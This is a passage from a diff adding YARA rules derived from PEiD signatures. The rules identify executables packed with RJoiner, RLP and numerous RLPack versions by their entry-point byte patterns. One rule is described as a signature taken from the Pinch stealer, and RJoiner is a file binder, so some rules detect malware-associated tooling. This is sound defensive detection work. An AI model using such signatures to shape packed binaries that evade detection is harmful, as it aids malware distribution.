+        $a = {55 8B EC 81 EC 0C 02 00 00 8D 85 F4 FD FF FF 56 50 68 04 01 00 00 FF 15 14 10 40 00 90 8D 85 F4 FD FF FF 50 FF 15 10 10 40 00 90 BE 00 20 40 00 90 83 3E FF 0F 84 84 00 00 00 53 57 33 FF 8D 46}
+    condition:
+        $a
+}
+
+rule PEiD_01962_RJoiner_1_2a____Vaska_
+{
+    meta:
+        description = "[RJoiner 1.2a -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01963_RJoiner_1_2a____Vaska_
+{
+    meta:
+        description = "[RJoiner 1.2a -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00 C0 57 FF 15 04 10 40 00 89 45 F8 94 90 94 8B 06 8D 74 06 04 94 90 94 8D 45 FC 53 50 8D 46 04 FF 36 50 FF 75 F8 FF 15 00 10 40 00 94 90 94 FF 75 F8 FF 15 10 10 40 00 94 90 94 8D 85 F4 FE FF FF 6A 0A 50 53 57 68 20 10 40 00 53 FF 15 18 10 40 00 94 90 94 8B 06 8D 74 06 04 94 90 94 83 3E FF 75 89 5F 5B 33 C0 5E C9 C2 10 00 CC CC 24 11}
+    condition:
+        $a
+}
+
+rule PEiD_01964_RJoiner_by_Vaska__Sign_from_pinch_25_03_2007_17_00__
+{
+    meta:
+        description = "[RJoiner by Vaska (Sign from pinch 25.03.2007 17:00)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 6C 10 40 00 FF 25 70 10 40 00 FF 25 74 10 40 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10}
+    condition:
+        $a
+}
+
+rule PEiD_01965_RLP_0_7_3beta____ap0x__h__
+{
+    meta:
+        description = "[RLP 0.7.3beta -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56}
+    condition:
+        $a
+}
+rule PEiD_01966_RLP_V0_7_3_beta____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLP V0.7.3.beta -> ap0x ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {2E 72 6C 70 00 00 00 00 00 50 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0}
+    condition:
+        $a
+}
+
+rule PEiD_01967_RLP_v0_7_3beta____ap0x__h__
+{
+    meta:
+        description = "[RLP v0.7.3beta -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56 41 87 FC 0F F3 05 40 81 68 4B 93 71 40 BB 87 3C 40 40 8B 88 06 75 70 40 40 8B BB B3 43 C4 8F 93 2B F3 4A 88 06 07 30 F5 EA 2A 35 F0 4B 8A C3 07 C1 C6 02 C4 34 C0 74 74 32 02 C4 45 0B 3C 96 BE 0A 82 C3 DE 36 A9 7E 5A 51 A6 BC 63 A8 66 CB 30 58 20 8C CC 85 53 9F C1 E4 10 80 11 20 1E 48 D2 E8 F7 28 5C 26 89 5C 94 89 5A F8 1C 0B 74 7E 33 4E 9B 29 56 F2 2B 84 42 8A 95 16 76 64 08 7B 70 8F A0 0B A8 3A C1 C7 B5 3E D9 70}
+    condition:
+        $a
+}
+
+rule PEiD_01968_RLPack_____Ap0x_
+{
+    meta:
+        description = "[RLPack --> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 CD 09 00 00 89 85 14 0A 00 00 EB 14 60 FF B5 14 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01969_RLPack_____Ap0x_
+{
+    meta:
+        description = "[RLPack --> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01970_RLPack_____Ap0x_
+{
+    meta:
+        description = "[RLPack --> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 0C 00 00 EB 03 0C 00 00 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 47 02 00 00 EB 03 15 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 9B 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01971_RLPack____Ap0x_
+{
+    meta:
+        description = "[RLPack -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 CD 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 14 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01972_RLPack____Ap0x_
+{
+    meta:
+        description = "[RLPack -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 3A 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01973_RLPack____Ap0x_
+{
+    meta:
+        description = "[RLPack -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 ?? ?? ?? ?? EB 03 ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 9B 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01974_RLPack_1_0_beta____ap0x__h__
+{
+    meta:
+        description = "[RLPack 1.0 beta -> ap0x (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 48 02 00 00 56 FF D3 83 C4 08 8B B5 48 02 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 83 C0 04 89 85 44 02 00 00 EB 7A 56 FF 95 F1 01 00 00 89 85 40 02 00 00 8B C6 EB 4F 8B 85 44 02 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 44 02 00 00 C7 00 20 20 20 00 EB 06 FF B5 44 02 00 00 FF B5 40 02 00 00 FF 95 F5 01 00 00 89 07 83 C7 04 8B 85 44 02 00 00 EB 01 40 80 38 00 75 FA 40 89 85 44 02 00 00 80 38 00 75 AC EB 01 46 80 3E 00 75 FA 46 40 8B 38 83 C0 04 89 85 44 02 00 00 80 3E 01 75 81 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 48 02 00 00 FF 95 FD 01 00 00 61 68 ?? ?? ?? ?? C3 60 8B 74 24 24 8B 7C}
+    condition:
+        $a
+}
+
+rule PEiD_01975_RLPack_1_0_beta____ap0x_
+{
+    meta:
+        description = "[RLPack 1.0 beta -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+    condition:
+        $a
+}
+
+rule PEiD_01976_RLPack_1_0_beta____ap0x_
+{
+    meta:
+        description = "[RLPack 1.0 beta -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5}
+    condition:
+        $a
+}
+
+rule PEiD_01977_RLPack_1_1_BasicEdition____ap0x_
+{
+    meta:
+        description = "[RLPack 1.1 BasicEdition -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+    condition:
+        $a
+}
+
+rule PEiD_01978_RLPack_1_16__aPLib_compression_____ap0x__h__
+{
+    meta:
+        description = "[RLPack 1.16 (aPLib compression) -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 E8 02 00 00 89 85 4F 03 00 00 5B FF B5 4F 03 00 00 56 FF D3 83 C4 08 8B B5 4F 03 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 E8 CD 00 00 00 83 C0 04 89 85 4B 03 00 00 E9 93 00 00 00 56 FF 95 E0 02 00 00 85 C0 0F 84 AE 00 00 00 89 85 47 03 00 00 8B C6 EB 5B 8B 85 4B 03 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 4B 03 00 00 C7 00 20 20 20 00 EB 06 FF B5 4B 03 00 00 FF B5 47 03 00 00 FF 95 E4 02 00 00 85 C0 74 6B 89 07 83 C7 04 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01979_RLPack_1_16__LZMA_compression_____ap0x__h__
+{
+    meta:
+        description = "[RLPack 1.16 (LZMA compression) -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 56 0A 00 00 5B 60 FF B5 3A 0A 00 00 56 FF B5 56 0A 00 00 FF D3 61 8B B5 56 0A 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 E8 E7 00 00 00 83 C0 04 89 85 52 0A 00 00 E9 97 00 00 00 56 FF 95 E3 09 00 00 89 85 4E 0A 00 00 85 C0 0F 84 C2}
+    condition:
+        $a
+}
+
+rule PEiD_01980_RLPack_1_17__
+{
+    meta:
+        description = "[RLPack 1.17+]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? ?? 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3}
+    condition:
+        $a
+}
+
+rule PEiD_01981_RLPack_1_18__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+    condition:
+        $a
+}
+rule PEiD_01982_RLPack_1_18__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01983_RLPack_1_18_Dll__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 Dll (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01984_RLPack_1_18_Dll__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 Dll (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01985_RLPack_1_20_Basic_Edition__aPLib_____Ap0x_
+{
+    meta:
+        description = "[RLPack 1.20 Basic Edition [aPLib] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00 EB 1B 8B 85 92 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 9E 05 00 00 00 74 0E 83 BD A2 05 00 00 00 74 05 E8 D6 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01986_RLPack_1_20_Basic_Edition__LZMA_____Ap0x_
+{
+    meta:
+        description = "[RLPack 1.20 Basic Edition [LZMA] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 2D 0C 00 00 89 85 94 0C 00 00 E8 59 01 00 00 EB 20 60 8B 85 9C 0C 00 00 FF B5 94 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83}
+    condition:
+        $a
+}
+
+rule PEiD_01987_RLPack_Full_Edition_1_17__LZMA__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 73 26 00 00 8D 9D 58 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+    condition:
+        $a
+}
+rule PEiD_01988_RLPack_Full_Edition_1_17____Ap0x_
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01989_RLPack_Full_Edition_1_17__aPLib__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 [aPLib]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 74 1F 00 00 8D 9D 1E 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+    condition:
+        $a
+}
+
+rule PEiD_01990_RLPack_Full_Edition_1_17_DLL__LZMA__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 DLL (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85}
+    condition:
+        $a
+}
+
+rule PEiD_01991_RLPack_Full_Edition_1_17_DLL____Ap0x_
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 DLL -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+    condition:
+        $a
+}
+
+rule PEiD_01992_RLPack_Full_Edition_1_17_DLL__aPLib__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 DLL [aPLib]]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75}
+    condition:
+        $a
+}
+
+rule PEiD_01993_RLPack_Full_Edition_1_17_iBox__LZMA__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 iBox (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 67 30 00 00 8D 9D 66 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+    condition:
+        $a
+}
+
+rule PEiD_01994_RLPack_Full_Edition_1_17_iBox__aPLib__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 iBox [aPLib]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 79 29 00 00 8D 9D 2C 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+    condition:
+        $a
+}
+
+rule PEiD_01995_RLPack_V1_0_beta____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.0.beta -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01996_RLPack_V1_11____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.11 -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01997_RLPack_V1_12_V1_14__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.12-V1.14 (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01998_RLPack_V1_12_V1_14__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.12-V1.14 (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60}
+    condition:
+        $a
+}
+
+rule PEiD_01999_RLPack_V1_15_V1_17__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.15-V1.17 (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+    condition:
+        $a
+}
+
+rule PEiD_02000_RLPack_V1_15_V1_17__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.15-V1.17 (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 83 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB 14}
+    condition:
+        $a
+}
+
+rule PEiD_02001_RLPack_V1_15_V1_17_Dll____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.15-V1.17 Dll -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+    condition:
+        $a
+}
+rule PEiD_02002_RLPack_V1_18__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68}
+    condition:
+        $a
+}
+
+rule PEiD_02003_RLPack_V1_18__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6}
+    condition:
+        $a
+}
+
+rule PEiD_02004_RLPack_v1_18_Basic__aPLib_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic [aPLib] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+    condition:
+        $a
+}
+
+rule PEiD_02005_RLPack_v1_18_Basic__LZMA_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic [LZMA] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+    condition:
+        $a
+}
+
+rule PEiD_02006_RLPack_v1_18_Basic_DLL__aPLib_____Ap0x_
+{
+    meta:
